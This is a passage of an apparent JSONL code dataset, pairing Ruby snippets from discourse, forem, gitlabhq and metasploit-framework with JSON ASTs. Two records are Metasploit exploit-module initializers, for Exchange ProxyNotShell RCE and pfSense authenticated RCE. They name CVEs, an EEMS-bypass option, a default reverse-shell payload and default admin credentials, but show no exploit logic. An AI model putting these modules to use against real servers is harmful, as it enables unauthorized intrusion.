"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"open\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"read\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"force_encoding\",{\"type\":\"str\",\"children\":[\"UTF-8\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ss\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringScanner\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"V1Parser\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"ss\"]},{\"type\":\"lvar\",\"children\":[\"basepath\"]},{\"type\":\"lvar\",\"children\":[\"fname\"]},{\"type\":\"ivar\",\"children\":[\"@eval_context\"]}]},\"parse_element\",{\"type\":\"true\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"attrs\"]},{\"type\":\"lvar\",\"children\":[\"elems\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemCallError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cpe\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConfigParseError\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"include error \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cpe\"]},\"set_backtrace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"cpe\"]}]}]}]},null]}]}","id":"fc6e1e69-af8b-448c-9ef0-0495c5489832"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/dns/server.rb","start_line":195,"raw_source":"def self.hardcore_alias(*args)\n \"#{(args[0] || '')}-#{(args[1] || '')}-#{args[5] || ''}\"\n end","complexity_score":6.95,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"hardcore_alias\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"db992963-1748-4f72-bb1f-15b7519e19a9"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":1659,"raw_source":"def create_user_profile\n UserProfile.create!(user_id: id)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_user_profile\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserProfile\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}]}","id":"19fe671e-6a15-4570-8a57-41ebca8b36eb"} {"repo_name":"forem","file_path":"./repos/forem/app/controllers/comments_controller.rb","start_line":226,"raw_source":"def hide\n @comment = Comment.find(params[:comment_id])\n authorize @comment\n success = @comment.update(hidden_by_commentable_user: true)\n\n if success\n @comment&.commentable&.update_column(:any_comments_hidden, true)\n if params[:hide_children] == \"1\"\n @comment.descendants.includes(:user, :commentable).find_each do |c|\n c.update(hidden_by_commentable_user: true)\n end\n end\n render json: { hidden: \"true\" }, status: :ok\n else\n render json: { errors: @comment.errors_as_sentence, status: 422 }, status: :unprocessable_entity\n end\n end","complexity_score":27.83,"ast_json":"{\"type\":\"def\",\"children\":[\"hide\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@comment\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"comment_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"ivar\",\"children\":[\"@comment\"]}]},{\"type\":\"lvasgn\",\"children\":[\"success\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@comment\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hidden_by_commentable_user\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"success\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@comment\"]},\"commentable\"]},\"update_column\",{\"type\":\"sym\",\"children\":[\"any_comments_hidden\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"hide_children\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@comment\"]},\"descendants\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"commentable\"]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hidden_by_commentable_user\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hidden\"]},{\"type\":\"str\",\"children\":[\"true\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@comment\"]},\"errors_as_sentence\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[422]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]}]}]}","id":"2eb2f17c-fa5f-45d2-977b-419c158ec8e8"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/search.rb","start_line":1428,"raw_source":"def self.set_tsquery_weight_filter(term, weight_filter, prefix_match: true)\n \"'#{self.escape_string(term)}':#{prefix_match ? \"*\" : \"\"}#{weight_filter}\"\n end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"set_tsquery_weight_filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"term\"]},{\"type\":\"arg\",\"children\":[\"weight_filter\"]},{\"type\":\"kwoptarg\",\"children\":[\"prefix_match\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"escape_string\",{\"type\":\"lvar\",\"children\":[\"term\"]}]}]},{\"type\":\"str\",\"children\":[\"':\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix_match\"]},{\"type\":\"str\",\"children\":[\"*\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"weight_filter\"]}]}]}]}","id":"d2d2a1c0-3b62-4467-8d62-32ea88ece150"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/http_io.rb","start_line":197,"raw_source":"def chunk_end\n [chunk_start + BUFFER_SIZE, size].min\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"chunk_end\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chunk_start\"]},\"+\",{\"type\":\"const\",\"children\":[null,\"BUFFER_SIZE\"]}]},{\"type\":\"send\",\"children\":[null,\"size\"]}]},\"min\"]}]}","id":"e97c36c4-183d-4194-89fe-d66992216337"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/gems/gitlab-orchestrator/lib/gitlab/orchestrator/lib/helpers/spinner.rb","start_line":157,"raw_source":"def spinner_error(io)\n done_message = colorize(\"failed\", error_color)\n return spinner.error(done_message) if tty?\n\n spinner.stop if spinner.spinning?\n puts_with_offset(io, \"[#{error_mark}] #{spinner_message} ... #{done_message}\")\n end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"spinner_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"done_message\",{\"type\":\"send\",\"children\":[null,\"colorize\",{\"type\":\"str\",\"children\":[\"failed\"]},{\"type\":\"send\",\"children\":[null,\"error_color\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spinner\"]},\"error\",{\"type\":\"lvar\",\"children\":[\"done_message\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spinner\"]},\"spinning?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spinner\"]},\"stop\"]},null]},{\"type\":\"send\",\"children\":[null,\"puts_with_offset\",{\"type\":\"lvar\",\"children\":[\"io\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error_mark\"]}]},{\"type\":\"str\",\"children\":[\"] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spinner_message\"]}]},{\"type\":\"str\",\"children\":[\" ... \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"done_message\"]}]}]}]}]}]}","id":"999b9e0c-459f-4150-898a-708dc62c24d6"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/exchange_proxynotshell_rce.rb","start_line":15,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange ProxyNotShell RCE',\n 'Description' => %q{\n This module chains two vulnerabilities on Microsoft Exchange Server\n that, when combined, allow an authenticated attacker to interact with\n the Exchange Powershell backend (CVE-2022-41040), where a\n deserialization flaw can be leveraged to obtain code execution\n (CVE-2022-41082). This exploit only support Exchange Server 2019.\n\n These vulnerabilities were patched in November 2022.\n },\n 'Author' => [\n 'Orange Tsai', # Discovery of ProxyShell SSRF\n 'Spencer McIntyre', # Metasploit module\n 'DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q', # Vulnerability analysis\n 'Piotr Bazydło', # Vulnerability analysis\n 'Rich Warren', # EEMS bypass via ProxyNotRelay\n 'Soroush Dalili' # EEMS bypass\n ],\n 'References' => [\n [ 'CVE', '2022-41040' ], # ssrf\n [ 'CVE', '2022-41082' ], # rce\n [ 'URL', 'https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend' ],\n [ 'URL', 'https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/' ],\n [ 'URL', 'https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9' ],\n [ 'URL', 'https://rw.md/2022/11/09/ProxyNotRelay.html' ]\n ],\n 'DisclosureDate' => '2022-09-28', # announcement of limited details, patched 2022-11-08\n 'License' => MSF_LICENSE,\n 'DefaultOptions' => {\n 'RPORT' => 443,\n 'SSL' => true\n },\n 'Platform' => ['windows'],\n 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Windows Dropper',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_dropper\n }\n ],\n [\n 'Windows Command',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_CMD],\n 'Type' => :windows_command\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n 'AKA' => ['ProxyNotShell'],\n 'Reliability' => [REPEATABLE_SESSION]\n }\n )\n )\n\n register_options([\n OptString.new('USERNAME', [ true, 'A specific username to authenticate as' ]),\n OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]),\n OptString.new('DOMAIN', [ false, 'The domain to authenticate to' ])\n ])\n\n register_advanced_options([\n OptEnum.new('EemsBypass', [ true, 'Technique to bypass the EEMS rule', 'IBM037v1', %w[IBM037v1 none]])\n ])\n end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Microsoft Exchange ProxyNotShell RCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module chains two vulnerabilities on Microsoft Exchange Server\\n\"]},{\"type\":\"str\",\"children\":[\" that, when combined, allow an authenticated attacker to interact with\\n\"]},{\"type\":\"str\",\"children\":[\" the Exchange Powershell backend (CVE-2022-41040), where a\\n\"]},{\"type\":\"str\",\"children\":[\" deserialization flaw can be leveraged to obtain code execution\\n\"]},{\"type\":\"str\",\"children\":[\" (CVE-2022-41082). This exploit only support Exchange Server 2019.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" These vulnerabilities were patched in November 2022.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Orange Tsai\"]},{\"type\":\"str\",\"children\":[\"Spencer McIntyre\"]},{\"type\":\"str\",\"children\":[\"DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q\"]},{\"type\":\"str\",\"children\":[\"Piotr Bazydło\"]},{\"type\":\"str\",\"children\":[\"Rich Warren\"]},{\"type\":\"str\",\"children\":[\"Soroush Dalili\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2022-41040\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2022-41082\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://rw.md/2022/11/09/ProxyNotRelay.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2022-09-28\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"windows\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows Dropper\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"windows\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"windows_dropper\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"windows\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"windows_command\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AKA\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ProxyNotShell\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A specific username to authenticate as\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The password to authenticate with\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DOMAIN\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The domain to authenticate to\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"EemsBypass\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Technique to bypass the EEMS rule\"]},{\"type\":\"str\",\"children\":[\"IBM037v1\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"IBM037v1\"]},{\"type\":\"str\",\"children\":[\"none\"]}]}]}]}]}]}]}]}","id":"b5878349-3f4d-4a72-93bd-eb6cfbf7e600"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/http/pfsense_group_member_exec.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'pfSense authenticated group member RCE',\n 'Description' => %q{\n pfSense, a free BSD based open source firewall distribution,\n version <= 2.3.1_1 contains a remote command execution\n vulnerability post authentication in the system_groupmanager.php page.\n Verified against 2.2.6 and 2.3.\n },\n 'Author' => [\n 's4squatch', # discovery\n 'h00die' # module\n ],\n 'References' => [\n [ 'CVE', '2016-10709' ],\n [ 'EDB', '43128' ],\n [ 'URL', 'https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc']\n ],\n 'License' => MSF_LICENSE,\n 'Platform' => 'unix',\n 'Privileged' => false,\n 'DefaultOptions' => {\n 'SSL' => true,\n 'PAYLOAD' => 'cmd/unix/reverse_openssl'\n },\n 'Arch' => [ ARCH_CMD ],\n 'Payload' => {\n 'Compat' =>\n {\n 'PayloadType' => 'cmd',\n 'RequiredCmd' => 'perl openssl'\n }\n },\n 'Targets' => [\n [ 'Automatic Target', {}]\n ],\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2017-11-06',\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n OptString.new('USERNAME', [ true, 'User to login with', 'admin']),\n OptString.new('PASSWORD', [ false, 'Password to login with', 'pfsense']),\n Opt::RPORT(443)\n ], self.class\n )\n end","complexity_score":9.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"pfSense authenticated group member RCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" pfSense, a free BSD based open source firewall distribution,\\n\"]},{\"type\":\"str\",\"children\":[\" version <= 2.3.1_1 contains a remote command execution\\n\"]},{\"type\":\"str\",\"children\":[\" vulnerability post authentication in the system_groupmanager.php page.\\n\"]},{\"type\":\"str\",\"children\":[\" Verified against 2.2.6 and 2.3.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"s4squatch\"]},{\"type\":\"str\",\"children\":[\"h00die\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2016-10709\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"43128\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/unix/reverse_openssl\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"